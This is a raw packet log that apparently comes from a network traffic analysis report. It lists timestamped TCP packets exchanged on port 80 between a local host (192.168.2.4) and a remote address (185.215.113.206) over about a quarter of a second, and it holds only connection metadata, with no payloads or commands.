Nov 10, 2024 19:44:04.344209909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344219923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344224930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344249010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344253063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344259024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344369888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344388008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344398975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344408989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344432116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344449043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344470024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344481945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344491005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344516039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344543934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344613075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344624996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344634056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344664097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344686985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344749928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344799042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344806910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344818115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344856977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344913960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344924927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.344964027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.344990969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345000982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345010042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345026970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345040083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345043898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.345052004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345072031 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.345082998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.345176935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345187902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345197916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345227003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.345235109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345240116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.345248938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.345274925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.345293999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.371875048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.371897936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.371908903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.371947050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.371973991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.371990919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372003078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372014999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372028112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372036934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372040987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372064114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372073889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372085094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372097015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372097969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372116089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372118950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372133017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372159958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372270107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372283936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372299910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372313976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372318983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372325897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372333050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372364998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372484922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372497082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372507095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.372526884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.372545958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397197008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397234917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397245884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397278070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397295952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397329092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397362947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397375107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397387981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397394896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397401094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397408009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397423983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397439957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397466898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397542953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397553921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397563934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397584915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397610903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397623062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397665977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397854090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397864103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397874117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397885084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397893906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397897959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397912979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397917032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397926092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.397929907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397950888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.397979021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.398001909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398013115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398021936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398045063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.398070097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.398174047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398184061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398192883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398205042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398212910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.398220062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398231030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398242950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398247004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.398255110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.398271084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.398282051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.444104910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.444133997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.444158077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.444181919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.444219112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.446643114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.446701050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.446727991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.446748018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.446751118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.446774006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.446784019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.446814060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.446893930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.446917057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.446938038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.446959972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461328030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461369991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461388111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461391926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461415052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461427927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461430073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461453915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461473942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461477041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461497068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461518049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461519003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461556911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461558104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461584091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461599112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461605072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461625099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461632967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461646080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461652994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461673975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461677074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461688042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461710930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461879015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461891890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461901903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461913109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.461934090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.461970091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462038994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462050915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462063074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462074041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462105036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462116003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462133884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462146997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462172031 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462208986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462301016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462313890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462331057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462352037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462382078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462384939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462397099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462407112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462418079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462429047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.462429047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462439060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.462471008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.488718033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488769054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488782883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488789082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.488795042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488817930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.488842010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.488851070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488893986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.488935947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488948107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488959074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488970041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.488979101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489011049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489044905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489097118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489099026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489109993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489142895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489182949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489193916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489203930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489243984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489427090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489438057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489449024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489463091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489471912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489494085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489505053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489506006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489516973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489527941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.489528894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.489573002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514153957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514169931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514182091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514214039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514240980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514317989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514368057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514390945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514400959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514440060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514475107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514486074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514501095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514513016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514523983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514532089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514544964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514559984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514571905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514571905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514595032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514619112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514698029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514709949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514755011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514797926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514811039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514844894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514878035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514889956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514902115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.514930010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.514940977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515098095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515151978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515178919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515191078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515204906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515214920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515227079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515260935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515305042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515324116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515336037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515388966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515389919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515399933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515414953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515425920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515436888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515460014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515515089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515563011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515573025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515583038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515594006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515604019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.515615940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.515650988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.560869932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.560889006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.560899973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.560944080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.560971022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.563491106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.563541889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.563546896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.563554049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.563580036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.563589096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.563591957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.563618898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578382015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578393936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578404903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578418970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578429937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578433990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578443050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578466892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578486919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578629971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578649044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578664064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578681946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578685999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578695059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578701973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578708887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578730106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578756094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578787088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578799009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578814983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578828096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578839064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.578841925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578860044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578881979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.578917027 CET	80	49730	185.215.113.206	192.168.2.4
